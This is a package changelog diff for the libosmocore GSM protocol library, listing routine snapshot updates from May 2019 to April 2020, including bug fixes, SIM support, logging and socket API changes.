+-------------------------------------------------------------------
+Sun Apr 19 20:00:08 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.0.70:
+ * timerfd: call osmo_fd_unregister() when closing on read error
+ * timer.c: make timers thread safe
+
+-------------------------------------------------------------------
+Sat Apr 18 20:00:09 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.0.68:
+ * select.c: Introduce support for signalfd
+ * exec: Introduce osmo_system_nowait2() to allow specify a user
+
+-------------------------------------------------------------------
+Fri Apr 17 20:00:11 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.0.66:
+ * tests/coding_test: Fix test_pdtch() results
+ * tests/coding: Test decoding of DL EGPRS data packet
+ * ports.h: Add 4268 for UECUPS VTY
+
+-------------------------------------------------------------------
+Tue Apr 14 20:00:08 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.0.63:
+ * dtx: add decoding for AMR-DTX frames
+ * configure.ac: fix libtool issue with clang and sanitizer
+
+-------------------------------------------------------------------
+Wed Apr 08 20:00:08 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.0.61:
+ * gsm0503_tables: Document USF encoding tables
+ * gsm0503_coding: Fix USF encoding in MCS1-4
+
+-------------------------------------------------------------------
+Tue Apr 07 20:00:08 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.0.59:
+ * gsm0503_coding: Fix misleading comment UL vs DL
+
+-------------------------------------------------------------------
+Wed Apr 01 20:00:08 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.0.58:
+ * coding: fix bit ordering in 11-bit RACH coding functions
+ * tests/coding: add 11-bit Access Burst samples from a real phone
+ * coding: fix documentation of PDTCH encoding functions
+ * tests/coding: cosmetic: use ARRAY_SIZE() macro from utils.h
+ * tests/coding: reduce verbosity of 8-bit / 11-bit RACH coding tests
+ * tests/coding: check return value of encoding / decoding functions
+
+-------------------------------------------------------------------
+Sun Mar 22 21:00:07 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.0.52:
+ * osmo-sim-test: Avoid double-close
+
+-------------------------------------------------------------------
+Sat Mar 21 21:00:11 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.0.51:
+ * sim: Add HPSIM application support
+ * card_fs_{usim,isim}: Update to 15.7.0 / Release 15
+ * osmo-sim-test: Also [attempt to] dump DF.GSM on USIM cards
+ * sim: re-structure how we support cards + applications
+ * sim: add osim_file_desc_find_aid()
+ * osmo-sim-test: Optionally dump card files to host filesystem
+ * osmo-sim-test: don't print SW in successful case of dump_file()
+ * osmo-sim-test: Use stderr for error messages
+ * card_fs_sim: Avoid '/' in file names
+ * sim: card_fs_usim.c: Fix FID of EF.EXT4
+
+-------------------------------------------------------------------
+Tue Mar 17 21:00:07 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.0.41:
+ * debian: Change python3 dependency to native arch
+
+-------------------------------------------------------------------
+Mon Mar 16 21:00:06 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.0.40:
+ * libosmosim: Build irrespective of PC/SC support
+
+-------------------------------------------------------------------
+Sat Mar 14 21:00:08 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.0.39:
+ * gsm690: Fix amr speech bit length table
+
+-------------------------------------------------------------------
+Tue Mar 10 21:00:07 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.0.38:
+ * socket: Add osmo_sock_mcast_iface_set() to bind multicast to device
+
+-------------------------------------------------------------------
+Mon Mar 09 21:00:06 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.0.37:
+ * conv: add convolutional coder for AMR SID UPDATE frames
+ * parity: add amr crc14 definition
+
+-------------------------------------------------------------------
+Sun Mar 08 21:00:07 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.0.35:
+ * fixup depreciation warning
+ * gsmtap: Solve TCH / FACCH confusion once and for all
+ * Add CTRL port number for osmo-mgw
+ * Add GSMTAP_CHANNEL_VOICE to gsmtap_gsm_channel_names[] value_string
+
+-------------------------------------------------------------------
+Fri Mar 06 21:00:07 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.0.31:
+ * gsmtap.h: Add definitions for voice inside GSMTAP
+
+-------------------------------------------------------------------
+Wed Mar 04 21:00:06 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.0.30:
+ * osmo-sim-test: check tlv_parsed struct tp before access
+ * gb: Print signalling and data weights on NS-VC creation.
+ * gb: Fix typos in gprs_ns.c comments
+
+-------------------------------------------------------------------
+Fri Feb 28 21:00:08 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.0.27:
+ * chantype_rsl2gsmtap(): Add entries for CBCH
+
+-------------------------------------------------------------------
+Sat Feb 22 21:00:38 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.0.26:
+ * bitvec: avoid redundant zero-initialization in bitvec_alloc()
+ * bitvec: cosmetic: init i only once in bitvec_[un]pack()
+ * bitvec: fix misleading description of bitvec_spare_padding()
+
+-------------------------------------------------------------------
+Wed Feb 19 21:00:09 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.0.23:
+ * bitvec: fix bitvec_unhex(): do not return 1 on success
+ * tests/bitvec: add a unit test for bitvec_read_field()
+
+-------------------------------------------------------------------
+Tue Feb 18 21:00:22 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.0.21:
+ * osmo-sim-test: Fall-back to classic SIM
+ * osmo-sim-test: Recurse through subdirectories
+
+-------------------------------------------------------------------
+Wed Feb 12 21:01:51 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.0.19:
+ * bitvec: make bitvec_free() safe against NULL
+
+-------------------------------------------------------------------
+Mon Feb 10 21:00:08 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.0.18:
+ * exec: propogate errors from osmo_environment_[filter|append]
+ * exec: prevent uninitialized memory access in osmo_system_nowait()
+ * osmo_libusb: check return value of osmo_fd_register()
+ * conv: prevent theoretical NULL pointer dereference in osmo_conv_encode()
+
+-------------------------------------------------------------------
+Thu Feb 06 21:00:07 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.0.14:
+ * tdef_vty: do not enforce enum 'node_type' in osmo_tdef_vty_groups_init()
+
+-------------------------------------------------------------------
+Tue Feb 04 21:00:06 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.0.13:
+ * value_string: Switch val from unsigned to int
+
+-------------------------------------------------------------------
+Fri Jan 31 21:00:32 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.0.12:
+ * pcsc: don't leak memory
+
+-------------------------------------------------------------------
+Tue Jan 21 21:00:21 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.0.11:
+ * gsm/gsm48049.c: fix use of GNU 'missing =' extension in designator
+ * usb/Makefile.am: fix copy-pasted library name: s/libosmosim/libosmousb/
+
+-------------------------------------------------------------------
+Mon Jan 20 21:00:36 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.0.9:
+ * osmo_libusb: Check return of libusb_get_string_descriptor_ascii()
+
+-------------------------------------------------------------------
+Fri Jan 17 21:00:21 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.0.8:
+ * usb: Add osmo_libusb_find_matching_dev_{path,serial}
+
+-------------------------------------------------------------------
+Wed Jan 08 21:00:23 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.0.7:
+ * l1sap: add measurement related struct members
+ * jenkins.sh: simpler invocation of verify_value_string_...
+ * add crcXXgen.c.tpl to EXTRA_DIST
+
+-------------------------------------------------------------------
+Mon Jan 06 21:00:06 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.0.4:
+ * usb: Use OSMO_STRLCPY where appropriate
+
+-------------------------------------------------------------------
+Sat Jan 04 21:00:07 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.0.3:
+ * logging_vty.c: Avoid acquiring log tgt lock in logging level cmd when not needed
+ * gb: Fix typo in bssgp_cause_strings description
+ * bitvec: Fix return value in doc for bitvec_write_field()
+
+-------------------------------------------------------------------
+Fri Jan 03 21:00:30 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.0.0:
+ * Bump version: 1.2.0.108-c6a8-dirty → 1.3.0
+ * Drop empty file debian/patches/series
+ * osmo-release.sh: Improve of PKG_CHECK_MODULES from configure.ac
+
+-------------------------------------------------------------------
+Wed Dec 18 21:03:10 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.108:
+ * Introduce helper functions for safe fork+exec of processes
+
+-------------------------------------------------------------------
+Tue Dec 17 21:00:10 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.107:
+ * debian/control: Add missing libusb-1.0-0-dev dependency
+ * usb: Import a variety of libusb utility functions from simtrace
+ * libosmocore libusb integration
+ * gprs_bssgp: Work around gcc-9 claiming "error=stringop-overflow"
+
+-------------------------------------------------------------------
+Thu Dec 12 21:00:07 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.103:
+ * debian, utils: switch to python 3
+
+-------------------------------------------------------------------
+Wed Dec 11 21:00:24 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.102:
+ * core/defs.h: introduce and use OSMO_DEPRECATED_OUTSIDE
+
+-------------------------------------------------------------------
+Mon Dec 09 21:00:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.101:
+ * sim: allow opening reader# > 0
+ * gsup: Introduce OSMO_GSUP_NUM_VECTORS_REQ_IE
+
+-------------------------------------------------------------------
+Wed Dec 04 21:00:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.99:
+ * utils: exit(2) on unsupported positional arguments on command line
+ * osmo-arfcn: Fix '-h' option
+
+-------------------------------------------------------------------
+Tue Dec 03 21:00:07 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.97:
+ * osmo-release.sh: Use set -e before applying changes to prepare release
+
+-------------------------------------------------------------------
+Sun Dec 01 21:00:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.96:
+ * gprs_ns_instantiate(): propagate errors from gprs_sns_init() to caller
+ * Check for osmo_fsm_register() error return value
+
+-------------------------------------------------------------------
+Sat Nov 30 21:01:44 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.94:
+ * libosmovty: simplify condition checking vty->fd in vty_close()
+ * libosmovty: properly initialize vty->fd in vty_new()
+ * 04.80: Deprecate gsm0480_create_ussd_resp()
+ * Add code coverage support
+
+-------------------------------------------------------------------
+Fri Nov 29 21:00:27 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.90:
+ * add all missing OSMO_GSUP_TO_MSGT_*() macros
+
+-------------------------------------------------------------------
+Thu Nov 28 21:01:35 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.89:
+ * Introduce fields related to DTAP DLCI
+
+-------------------------------------------------------------------
+Mon Nov 25 21:00:54 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.88:
+ * add osmo_escape_cstr and osmo_quote_cstr
+ * vty_app_info.is_config_node: add OSMO_DEPRECATED
+ * vty: track parent nodes also for telnet sessions
+
+-------------------------------------------------------------------
+Sun Nov 24 21:00:41 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.85:
+ * osmo_sockaddr_str: deprecate osmo_sockaddr_str_*_32n()
+ * utils: add osmo_strnchr()
+ * utils_test: add osmo_print_n_test()
+ * msgb_put: more elaborate logging of head/tailroom failure
+ * fsm.h: add missing include of logging.h
+ * GSUP: rename E_ROUTING_ERROR to ROUTING_ERROR
+
+-------------------------------------------------------------------
+Sat Nov 23 21:00:22 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.79:
+ * fix osmo_escape_str_c() and osmo_quote_str_c()
+ * utils.h: add OSMO_NAME_C_IMPL() macro
+ * osmo_sockaddr_str: API doc: fix 32bit addr mixup of host/network byte order
+ * cosmetic: logging.h: fix comment s/levels/subsystems
+ * fix DLSMS logging category color: '[1:38m' isn't actually defined
+ * logging.h: define ansi color constants
+
+-------------------------------------------------------------------
+Fri Nov 22 21:01:37 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.73:
+ * libosmogsm: add support for XOR authentication
+ * utils.c: fix various inaccurate API doc about return values
+ * add osmo_sockaddr_str_cmp()
+
+-------------------------------------------------------------------
+Thu Nov 21 21:01:43 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.70:
+ * logging/vty: fix: do not close stderr in vty_close()
+ * logging/vty: fix vty_read_file(): do not write warnings to stdin
+ * logging/vty: fix: actually ignore deprecated logging commands
+ * logging/vty: use LOG_LEVEL_ARGS in logging_vty_add_deprecated_subsys()
+ * logging/vty: do not print deprecated logging commands to stdout
+
+-------------------------------------------------------------------
+Mon Nov 11 21:00:06 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.65:
+ * fix OSMO_SOCKADDR_STR_FMT for IPv6
+ * test: add OSMO_SOCKADDR_STR_FMT to sockaddr_str_test.c
+
+-------------------------------------------------------------------
+Sat Nov 09 21:00:07 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.63:
+ * GPRS/BSSGP: introduce bssgp_bvc_ctx_free()
+
+-------------------------------------------------------------------
+Thu Nov 07 21:01:37 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.62:
+ * select: Make file descriptor lists per-thread
+
+-------------------------------------------------------------------
+Wed Nov 06 21:00:54 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.61:
+ * gsm: gsm_04_08.h: Allow accessing classmark2 as struct instead of uint32_t
+ * gsm: gsm_utils: Fix return type of API ms_class_gmsk_dbm() and add unit tests
+
+-------------------------------------------------------------------
+Mon Nov 04 21:00:17 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.59:
+ * gsm: Fix compilation error under some compilers
+ * gsm_04_08.h: Introduce API osmo_gsm48_rfpowercap2powerclass()
+
+-------------------------------------------------------------------
+Fri Nov 01 21:00:07 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.57:
+ * add osmo_sockaddr_str_is_nonzero()
+ * cosmetic: gsm_04_08.h: Fix trailing whitespace
+
+-------------------------------------------------------------------
+Wed Oct 30 21:00:07 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.55:
+ * fsm: refuse state chg and events after term
+ * add osmo_fsm_set_dealloc_ctx(), to help with use-after-free
+
+-------------------------------------------------------------------
+Tue Oct 29 21:00:22 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.53:
+ * gprs_ns_vty: return success for disabled FR/GRE
+
+-------------------------------------------------------------------
+Mon Oct 28 21:00:09 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.52:
+ * gsm0508: add functions to calculate beginning of a block
+ * vty: Return error if cmd returns CMD_WARNING while reading cfg file
+ * configure: Introduce --disable-libsctp and error by default if libsctp not found
+ * socket.c: build multiaddr socket API helpers only if used by public APIs
+
+-------------------------------------------------------------------
+Tue Oct 22 20:00:17 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.48:
+ * libosmocore.pc.in: Append -lsctp to Libs.private
+
+-------------------------------------------------------------------
+Mon Oct 21 20:00:10 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.47:
+ * socket: Remove unneeded condition check in osmo_sock_init2_multiaddr()
+
+-------------------------------------------------------------------
+Fri Oct 18 10:11:28 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.46:
+ * socket: Introduce API osmo_sock_init2_multiaddr()
+ * tdef: Return correct snprintf value for osmo_tdef_range_str_buf()
+
+-------------------------------------------------------------------
+Fri Oct 11 20:00:09 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.44:
+ * vty: Fix go_parent_cb not called for indented nodes at end of cfg file
+ * socket.c: Move glibc workarounds to same place in addrinfo_helper()
+
+-------------------------------------------------------------------
+Wed Oct 09 20:00:51 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.42:
+ * logging: Introduce mutex API to manage log_target in multi-thread envs
+
+-------------------------------------------------------------------
+Tue Oct 08 20:00:37 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.41:
+ * vty: Optionally Set/replace cfg file during cmd 'write file'
+
+-------------------------------------------------------------------
+Mon Oct 07 20:01:31 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.40:
+ * tdef_test: verify case where osmo_tdef_set returns -EEXIST
+ * tdef: Introduce min_val and max_val fields
+
+-------------------------------------------------------------------
+Fri Oct 04 20:00:07 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.38:
+ * API doc tweaks (mncc.h, gsm_08_08.h)
+ * gsup: add OSMO_GSUP_SUPPORTED_RAT_TYPES_IE and OSMO_GSUP_CURRENT_RAT_TYPE_IE
+
+-------------------------------------------------------------------
+Sat Sep 28 20:00:27 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.36:
+ * cosmetic: clarify c_iflag in osmo_serial_init()
+ * sim/class_tables: Fix typo in comment
+
+-------------------------------------------------------------------
+Fri Sep 27 20:00:10 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.34:
+ * gsm29205_test: fix error: missing braces around initializer
+
+-------------------------------------------------------------------
+Thu Sep 26 20:00:30 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.33:
+ * No fail if no /proc/cpuinfo
+ * msgb: Allow size==headroom in msgb_alloc_headroom*()
+
+-------------------------------------------------------------------
+Fri Sep 20 20:00:09 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.31:
+ * logging: Move extern declaration of osmo_log_target_list from logging.h to logging_internal.h
+ * osmo-release.sh: update TODO-RELEASE for non-lib projects too
+ * ecu_fr: increase test coverage for FR ECU implementation
+ * cosmetic: Add comment on GSM-FR ECU struct
+ * cosmetic: Move comment to the right place
+
+-------------------------------------------------------------------
+Wed Sep 18 20:00:31 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.26:
+ * logging.h: add L1 SAPI related context and filter
+ * logging_internal.h: Fix osmo_log_info definition
+
+-------------------------------------------------------------------
+Fri Sep 13 20:00:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.24:
+ * tdef: fixup osmo_tdef_set()
+
+-------------------------------------------------------------------
+Sun Sep 08 20:00:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.23:
+ * tdef_vty.h: Add missing header dependencies
+ * tdef: Introduce API osmo_tdef_set()
+
+-------------------------------------------------------------------
+Thu Sep 05 20:00:13 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.21:
+ * Introduce BTS_FEAT_ETWS_PN for communicating ETWS PN capability
+ * gsm_08_58: Add vendor-specific Message Type for ETWS Primary Warning
+
+-------------------------------------------------------------------
+Mon Sep 02 20:00:07 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.19:
+ * codec/ecu: Introduce new generic Error Concealment Unit abstraction
+ * MAXPATHLEN set if not defined
+ * cbsp: Fix decoding of WRITE-REPLACE payload
+
+-------------------------------------------------------------------
+Sun Sep 01 20:00:23 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.16:
+ * cbsp: Remove printf() statement from early development/debugging
+ * cbsp: Fix endless loop iteration when decoding cell list IEs
+
+-------------------------------------------------------------------
+Sat Aug 31 20:00:07 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.14:
+ * OSMO_SOCKADDR_STR_FMT_ARGS: guard against NULL pointer
+ * OSMO_SOCKADDR_STR_FMT_ARGS: remove useless condition
+
+-------------------------------------------------------------------
+Fri Aug 30 20:01:21 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.12:
+ * fix: vty crash by logging during VTY_CLOSED event handling
+
+-------------------------------------------------------------------
+Tue Aug 27 20:00:15 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.11:
+ * context: Add support for [per-thread] global talloc contexts
+
+-------------------------------------------------------------------
+Fri Aug 23 20:00:10 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.10:
+ * Cosmetic: l1sap.h: change /* !< to /*!<
+
+-------------------------------------------------------------------
+Tue Aug 20 20:00:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.9:
+ * vty: Register logp cmd next to logging commands
+ * osmo_tdef_get(): allow passing -1 as default timeout
+ * add vty logp command to echo on all log targets
+
+-------------------------------------------------------------------
+Mon Aug 12 20:00:10 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.6:
+ * codec/ecu_fr: Mark input TCH frame as 'const' as we only read it
+ * osmo-release.sh: Support releasing openbsc.git
+
+-------------------------------------------------------------------
+Thu Aug 08 21:53:43 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.4:
+ * osmo-release.sh: Check patches under debian/patches apply
+ * osmo-release.sh: Verify consistency of dependency versions in configure.ac and debian/control
+ * osmo-release.sh: Verify debian/rules dh_strip lines match LIBVERSION
+ * osmo-release.sh: Add DRY_RUN mode
+ * Bump version: 1.1.0.107-afce-dirty → 1.2.0
+ * osmo-release.sh: Drop whitespace after = when parsing LIBVERSION
+ * configure: Allow disabling workaround for TLS bug in old ARM gcc versions
+ * configure: Autodetect TLS bug on ARM with old gcc and apply workaround
+ * tests: logging: Remove undefined param passed to logging_vty_add_cmds
+ * Get rid of osmo_str_tolower() use inside libosmocore code
+ * utils: share static buffer in osmo_str_to{lower,upper}()
+ * pseudotalloc: Simplistic wrapper of talloc_named()
+ * avoid gcc format error on embedded builds
+ * vty/vty.c: the command buffer can be accessed directly
+ * vty/vty.c: fix vty_read(): prevent further heap-buffer overrun
+ * vty/telnet_interface.c: log connection accept() / close() events
+ * gsm0808_test: Fix wrong use of memcp
+ * vty/logging_vty.c: fix writing of 'print category-hex'
+ * vty/telnet_interface.c: avoid unneeded initialization
+ * vty/telnet_interface.c: use DLGLOBAL logging sub-system
+
+-------------------------------------------------------------------
+Fri Jul 26 20:00:14 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.93:
+ * gsm/gsm48.h: drop meaningless 'const' from gsm48_mi_to_string()
+
+-------------------------------------------------------------------
+Thu Jul 25 20:02:16 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.92:
+ * stats_vty: Add verb to sentence for show asciidoc counters
+
+-------------------------------------------------------------------
+Sun Jul 21 20:00:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.91:
+ * tell ubsan to ignore SUN_LEN
+ * gsm/gsm0480.c: use DLGLOBAL and LOGL_ERROR for logging
+ * gsm/gsm0480.c: parse_ss(): drop needless debug print
+ * osmo_get_rand_id(): Avoid dead code by proper #if/#else/#endif
+ * tdef: remove bogus OSMO_ASSERT(unsigned long >= 0)
+ * cbsp.c: Remove dead code
+
+-------------------------------------------------------------------
+Sat Jul 20 20:00:07 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.85:
+ * Add Cell Broadcast related definitions from 3GPP TS 23.041
+ * cbsp: Introduce osmo_cbsp_errstr
+ * CBSP (Cell Broadcast Service Protocol; 3GPP TS 48.049) support
+
+-------------------------------------------------------------------
+Thu Jul 18 20:00:07 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.82:
+ * bitvec/bitval2mask(): cosmetic: get rid of temporary int variable
+ * osmo_gsm48_rest_octets_si3_decode(): fix copy-paste error in comment
+
+-------------------------------------------------------------------
+Wed Jul 17 19:01:06 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.80:
+ * Set HTML_TIMESTAMP to NO to make build reproducible
+
+-------------------------------------------------------------------
+Thu Jul 11 20:00:12 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.79:
+ * contrib/jenkins.sh: run "make maintainer-clean"
+
+-------------------------------------------------------------------
+Wed Jul 10 20:01:16 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.78:
+ * libosmogsm/l1sap.h: extend ph_rach_ind_param with lqual_cb
+
+-------------------------------------------------------------------
+Tue Jul 09 20:00:37 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.77:
+ * Revert "utils.h: require a semi colon after OSMO_ASSERT"
+
+-------------------------------------------------------------------
+Mon Jul 08 20:02:20 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.76:
+ * utils.h: require a semi colon after OSMO_ASSERT
+
+-------------------------------------------------------------------
+Fri Jun 28 20:00:07 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.75:
+ * Makefile.am: don't delete example.xml, vtydoc.xsd
+ * gitignore: add doc/*.tag.prep
+
+-------------------------------------------------------------------
+Wed Jun 26 20:00:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.73:
+ * vty: Simplify char escaping in asciidoc output
+
+-------------------------------------------------------------------
+Fri Jun 21 20:00:09 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.72:
+ * gsm: lapd_core: Log timeout used upon start of T200
+
+-------------------------------------------------------------------
+Wed Jun 19 20:00:38 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.71:
+ * vty: Remove trailing whitespace in output from show asciidoc
+
+-------------------------------------------------------------------
+Mon Jun 17 20:00:14 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.70:
+ * bitvec: correct comment in bitvec_alloc
+ * add define for magic tmsi constant
+
+-------------------------------------------------------------------
+Sat Jun 15 20:00:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.68:
+ * Revert "fsm.c: Print error message for FSM with allstate_action but no events"
+ * fsm.c: Print error message for FSM with allstate_action but no events
+ * vty: command.c: Fix: single-choice optional args are no longer passed incomplete to vty func
+ * vty: command.c: Fix: multi-choice args are no longer passed incomplete to vty func
+ * vty: tests: Verify incomplete optional parameters are passed to vty funcs
+ * vty: command.c: Get rid of big indentation block
+ * command.c: Improve return check condition in cmd_execut_command_real()
+
+-------------------------------------------------------------------
+Thu Jun 13 20:00:19 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.61:
+ * logging: Use reentrant ctime_r instead of ctime
+ * (minor) fix typo in comments
+ * logging: Check return error from time() call
+ * minor: don't redefine macros
+ * fix isdigit taking unsigned as input
+
+-------------------------------------------------------------------
+Wed Jun 12 20:00:18 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.56:
+ * vty: command.c: Get rid of huge indentation block
+ * cosmetic: vty: command.c: Use upper case for enum match_type value names
+ * protocol/gsm_04_08.h: do not check if unsigned is positive
+ * core/utils: drop meaningless const from return value of osmo_luhn()
+ * vty: command.c: Fix is_cmd_ambiguous() returning always 0
+ * vty: command.c: Get rid of huge indentation block
+
+-------------------------------------------------------------------
+Sun Jun 09 20:00:07 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.50:
+ * gsm48_decode_bcd_number2: fix ENOSPC edge case
+
+-------------------------------------------------------------------
+Thu Jun 06 20:00:07 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.49:
+ * vty_transcript_test.vty: add choice auto-complete tests
+
+-------------------------------------------------------------------
+Wed Jun 05 20:00:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.48:
+ * fsm: Reduce amount of copy+pasted LOGPFSMSRC() statements
+ * fsm: Allow millisecond granularity in osmo_fsm built-in timer
+ * lapd_core: Perform N200 retransmissions, not N200-1
+ * lapdm: Allow user to specify T200 values; Use correct N200 values
+
+-------------------------------------------------------------------
+Tue Jun 04 20:00:09 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.44:
+ * gsm0808_utils: Add gsm0808_decode_cell_id_u()
+ * make all library-internal static buffers thread-local
+ * utils: add gsmtap_logread.py a gsmtap log reader
+
+-------------------------------------------------------------------
+Sun Jun 02 20:00:09 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.41:
+ * lapdm: Don't truncate L3 payload at 200 bytes length
+
+-------------------------------------------------------------------
+Sat Jun 01 20:00:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.40:
+ * socket.c: fix Doxygen doc for osmo_sock_unix_init_ofd()
+ * vty/command.c: cosmetic: add missing curly brackets
+
+-------------------------------------------------------------------
+Wed May 29 20:00:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.38:
+ * gsm48_encode_bcd_number(): clarify optional LHV header initialization
+ * rest_octets: Remove SI2ter + SI2bis encoders that don't do anything
+ * rest_octets: Implement actual SI6 rest octets encoding
+ * rest_octets: Add function to parse SI3 rest octets
+ * rest_octets: Suffix encoder functiosn with _encode
+ * rest_octets: Fix export of osmo_gsm48_rest_octets
+ * rest_octets: Actually include gsm48_rest_octets.c in Makefile.am
+ * rest_octets: Use correct symbols names for range encoder
+
+-------------------------------------------------------------------
+Tue May 28 20:00:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.30:
+ * gsm48_rest_octets: Fix license: GPLv2+ instead of AGPLv3+
+ * gsm48_decode_bcd_number2(): return -EINVAL if LV has too big length
+ * gsm48_decode_bcd_number2(): fix: return -ENOSPC on truncation
+ * gsm48_decode_bcd_number2(): fix output truncation
+ * gsm0408/gsm0408_test.c: introduce BCD number encoding / decoding test
+ * tdef: Fix license: GPLv2+ instead of AGPLv3+
+ * oap_client: Fix license: GPLv2+ instead of AGPLv3+
+ * rsl: Add osmocom-specific extensions to RSL channel numbers for CBCH
+
+-------------------------------------------------------------------
+Fri May 24 20:00:07 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.22:
+ * protocol/gsm_12_21.h: fix copy-pasted struct description
+
+-------------------------------------------------------------------
